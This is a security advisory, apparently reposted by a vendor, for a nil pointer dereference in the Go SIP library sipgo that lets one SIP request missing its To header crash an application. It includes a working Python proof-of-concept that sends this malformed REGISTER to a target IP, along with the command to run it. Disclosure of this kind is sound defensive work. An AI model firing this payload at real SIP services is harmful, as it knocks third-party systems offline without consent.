GHSA-c623-f998-8hhv
SIPGO is Vulnerable to Response DoS via Nil Pointer Dereference
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/emiago/sipgoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Description
A nil pointer dereference vulnerability was discovered in the SIPGO library's NewResponseFromRequest function that affects all normal SIP operations. The vulnerability allows remote attackers to crash any SIP application by sending a single malformed SIP request without a To header.
The vulnerability occurs when SIP message parsing succeeds for a request missing the To header, but the response creation code assumes the To header exists without proper nil checks. This affects routine operations like call setup, authentication, and message handling - not just error cases.
Note: This vulnerability affects all SIP applications using the sipgo library, not just specific configurations or edge cases, as long as they make use of the
NewResponseFromRequestfunction.
Technical details
The vulnerability is located in /sip/response.go at line 242 in the NewResponseFromRequest function:
if _, ok := res.To().Params["tag"]; !ok {
uuid, _ := uuid.NewRandom()
res.to.Params["tag"] = uuid.String()
}
Root Cause:
-
Missing To Header: When any SIP request is sent without a To header, the SIP message parsing succeeds but the To header is never set in the request object.
-
Header Copying Logic: During response creation in
NewResponseFromRequest, the code attempts to copy headers from the request to the response. Since there's no To header in the request, no To header is copied to the response. -
Unsafe Assumption: The response creation code assumes the To header exists and calls
res.To().Params["tag"]without checking ifres.To()returnsnil, causing a nil pointer dereference.
Stack Trace:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x70 pc=0x10261fcb4]
goroutine 175 [running]:
github.com/emiago/sipgo/sip.NewResponseFromRequest(0x14000433e00, 0x191, {0x1026b074b, 0xb}, {0x0, 0x0, 0x0})
/Users/user/Documents/GitHub/sipgo/sip/response.go:242 +0x394
Impact
This vulnerability affects all SIP applications using the sipgo library when using NewResponseFromRequest to generate SIP responses.
Attack Impact:
- Availability: Complete denial of service - application crashes immediately
- Remote Exploitation: Yes
- Authentication Required: No - vulnerability triggers during initial response generation which does not require authentication
How to reproduce the issue
To reproduce this issue, you need:
- A SIP application using the vulnerable sipgo library
- Network access to send SIP messages to the target
Steps:
-
Save the following Python script as
sipgo-response-dos.py:#!/usr/bin/env python3 import socket import sys import time import random def create_malformed_register(target_ip, target_port): call_id = f"sipgo-dos-{int(time.time())}" tag = f"sipgo-dos-{random.randint(1000, 9999)}" branch = f"z9hG4bK-sipgo-dos-{random.randint(10000, 99999)}" # Craft malformed SIP request without To header sip_message = ( f"REGISTER sip:{target_ip}:{target_port} SIP/2.0\r\n" f"Via: SIP/2.0/UDP 192.168.1.100:5060;rport;branch={branch}\r\n" f"From: <sip:[email protected]>;tag={tag}\r\n" f"Call-ID: {call_id}\r\n" f"CSeq: 1 REGISTER\r\n" f"Contact: <sip:[email protected]:5060>\r\n" f"Content-Length: 0\r\n" f"\r\n" ) return sip_message if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 sipgo-response-dos.py <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malformed_register(target_ip, target_port) print(f"Sending malformed REGISTER to {target_ip}:{target_port}") sock.sendto(payload.encode('utf-8'), (target_ip, target_port)) print("Exploit sent - target should crash immediately") -
Run the script against a vulnerable sipgo application:
python3 sipgo-response-dos.py <target_ip> <target_port> -
Observe that the target application crashes with a SIGSEGV panic.
Note: The key element is the missing To header in any SIP request, which triggers the nil pointer dereference.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/emiago/sipgo | ≥ 0.3.0&&< 1.0.0-alpha-1 | 1.0.0-alpha-1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/emiago/sipgo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/emiago/sipgo to 1.0.0-alpha-1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c623-f998-8hhv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-c623-f998-8hhv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-c623-f998-8hhv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-c623-f998-8hhv in your dependencies?
O3 detects GHSA-c623-f998-8hhv across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.